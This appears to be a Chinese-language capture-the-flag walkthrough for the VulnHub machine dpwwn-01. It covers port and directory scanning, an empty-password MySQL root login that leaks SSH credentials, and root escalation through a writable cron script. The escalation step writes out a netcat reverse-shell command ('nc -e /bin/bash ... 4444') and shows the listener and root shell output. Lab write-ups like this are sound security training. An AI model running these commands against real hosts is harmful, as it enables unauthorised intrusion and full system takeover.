当前位置: 首页 > article >正文

靶机dpwwn-01

靶机下载地址:https://download.vulnhub.com/dpwwn/dpwwn-01.zip

信息收集

扫描靶机的IP地址

arp-scan -l

获得靶机的IP地址:192.168.200.130

查看靶机的服务类型,端口信息

nmap -sS -sV -T4 -A -p- 192.168.200.130

开启了22(ssh)、80(web服务)、3306(mysql)端口

如果有web服务,就枚举web服务开启的端口和浏览器访问

dirb http://192.168.200.130:web服务的端口

浏览器访问192.168.200.130

192.168.200.130

没有内容–只能枚举了

枚举目录

方法一:dirb http://192.168.200.130

http://192.168.200.130/cgi-bin/
http://192.168.200.130/info.php

方法二:gobuster dir -u http://192.168.200.130 -w /usr/share/wordlists/SecLists/Discovery/WebContent/big.txt -x .php,.txt,.html,.zip

(没有SecLists就上github搜索下载–第一个下载量最多的)

漏洞利用

浏览器访问枚举的获得的URL

http://192.168.200.130/info.php

不出意外只有它能访问(继续枚举子目录也没有东西),很经典的php网页

得到内容:

基本没有

登陆mysql

mysql -h 192.168.200.130 -u root -p

空密码–直接回车

漏洞:mysql空密码

查看数据库:

show databases;

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| ssh                |
+--------------------+

use ssh;

show tablses;

MariaDB [ssh]> show tables;
+---------------+
| Tables_in_ssh |
+---------------+
| users         |
+---------------+

select * from users;

得到了登陆ssh的账号和密码

MariaDB [ssh]> select * from user;
ERROR 1146 (42S02): Table 'ssh.user' doesn't exist
MariaDB [ssh]> select * from users;
+----+----------+---------------------+
| id | username | password            |
+----+----------+---------------------+
|  1 | mistic   | testP@$$swordmistic |
+----+----------+---------------------+
1 row in set (0.011 sec)

访问SSH

ssh mistic@192.168.200.130

密码:testP@$$swordmistic

┌──(root㉿kali)-[~]
└─# ssh mistic@192.168.200.130
The authenticity of host '192.168.200.130 (192.168.200.130)' can't be established.
ED25519 key fingerprint is SHA256:gk40nSGfkMrCYAeMyL2l9aCwV/VL5i5mWKrFfowOfH0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.200.130' (ED25519) to the list of known hosts.
mistic@192.168.200.130's password: 
Last login: Thu Aug  1 14:41:37 2019 from 192.168.30.145
id
[mistic@dpwwn-01 ~]$ id
uid=1000(mistic) gid=1000(mistic) groups=1000(mistic) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[mistic@dpwwn-01 ~]$ whoami
mistic
[mistic@dpwwn-01 ~]$ pwd
/home/mistic
[mistic@dpwwn-01 ~]$ 

权限提升

查看特殊权限位:

find / -perm -u=s type f 2>/dev/null

find /:从根目录 / 开始查找。
-perm -u=s:查找具有 SUID 权限的文件。SUID 是一种特殊权限,它允许用户以文件所有者的权限执行该文件。通常,它用于程序,让普通用户能够执行需要超级用户权限的操作。例如,/usr/bin/passwd 允许普通用户修改自己的密码,但以 root 权限运行。
-type f:仅查找普通文件,忽略目录或其他类型的文件。
2>/dev/null:将标准错误(例如权限不足的错误)输出重定向到 /dev/null,这样不会在终端显示错误信息
[mistic@dpwwn-01 ~]$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/su
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/passwd
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper

这里发现了/use/bin/crontab 定时计划

cat /etc/crontab

[mistic@dpwwn-01 ~]$ cat /etc/crontab 
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

*/3 *  * * *  root  /home/mistic/logrot.sh

得到内容,每三分钟就要执行一次/home/mistic/logrot.sh文件

直接利用这个脚本获取root权限的shell

增加反向shell的脚本

echo “nc -e /bin/bash 192.168.200.130 4444” > logrot.sh (这里192.168.200.130是kali Linux的IP地址)

echo:用于将指定的文本输出到标准输出,或者在这个命令中,将其重定向到文件中。

"nc -e /bin/bash 192.168.200.130 4444":这是一个使用 nc (Netcat) 命令的字符串。这个命令的含义是:

nc:Netcat 工具,它可以用来在网络上创建连接。
-e /bin/bash:-e 选项使得 Netcat 在建立连接后执行指定的程序,/bin/bash 是 bash shell,这意味着当连接建立时,Netcat 将会启动一个 Bash shell,并通过网络将其连接到远程主机。
192.168.200.130 4444:Netcat 将连接到 192.168.200.130 这个 IP 地址,并通过端口 4444 进行通信。

cat /home/mistic/logrot.sh

[mistic@dpwwn-01 ~]$ cat /home/mistic/logrot.sh 
nc -e /bin/bash 192.168.200.130 4444

开启监听

nc -lvp 4444

nc:这是 Netcat 工具,常用来进行网络通信。它既可以作为客户端连接到远程主机,也可以作为服务器监听端口接收连接。
-l:表示监听模式。让 Netcat 处于服务器端模式,等待进入的连接。
-v:表示“详细模式”(verbose),启用后,Netcat 会输出更多的调试信息,如连接的 IP 地址和端口等。
-p 4444:表示指定要监听的端口号,在这个例子中是 4444。Netcat 会在本地机器的端口 4444 上监听连接。

获取flag

┌──(root㉿kali)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
192.168.200.128: inverse host lookup failed: Unknown host
connect to [192.168.200.130] from (UNKNOWN) [192.168.200.128] 36286
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023
whoami
root
uname -a
Linux dpwwn-01 3.10.0-957.el7.centos.plus.i686 #1 SMP Wed Nov 7 19:17:19 UTC 2018 i686 i686 i386 GNU/Linux
pwd
/root
cd /root
ls
anaconda-ks.cfg
dpwwn-01-FLAG.txt

cat dpwwn-01-FLAG.txt

cat dpwwn-01-FLAG.txt

Congratulation! I knew you can pwn it as this very easy challenge. 

Thank you. 


64445777
6e643634 
37303737 
37373665 
36347077 
776e6450 
4077246e
33373336 
36359090

http://www.kler.cn/a/422134.html

相关文章:

  • centos下使用acme来自动获取免费通配符ssl证书,并发布到nginx服务,(DNS服务为阿里云)
  • 遗传算法与深度学习实战(26)——编码卷积神经网络架构
  • Day5:生信新手笔记 — R语言基本语法
  • Java 基于Spring AI RAG组件做AI智能问答_rag检索增强_AI智能问答
  • Linux笔试题(自己整理,已做完,选择题)
  • 为什么编程语言会设计不可变的对象?字符串不可变?NSString *s = @“hello“变量s是不可变的吗?Rust内部可变性的意义?
  • vue3项目最新eslint9+prettier+husky+stylelint+vscode配置
  • Qt 面试题复习10~12_2024-12-2
  • Android Folding
  • kafka 配置消息编码格式、解决消费者中文乱码
  • uniapp动态表单
  • Llama模型分布式训练(微调)
  • 在RK3588/RK3588s中提升yolov8推理速度
  • WPF_2
  • IOS ARKit进行图像识别
  • 05云计算HCIA学习笔记
  • Git操作学习2
  • Simulink的SIL软件在环测试
  • Modern Effective C++ 条款二十九三十:移动语义和完美转发失败的情况
  • 基于Matlab实现三维点坐标生成点云(源码+数据)
  • IDEA中Maven相关使用
  • IDEA中更改了项目模块名,IDEA丢失该模块的问题
  • 基于Java Springboot武汉市公交路线查询APP且微信小程序
  • elasticsearch 8.x常用命令
  • 容器运行应用及Docker命令
  • SpringBoot 基于 MVC 高校办公室行政事务管理系统:设计构思与实现范例展示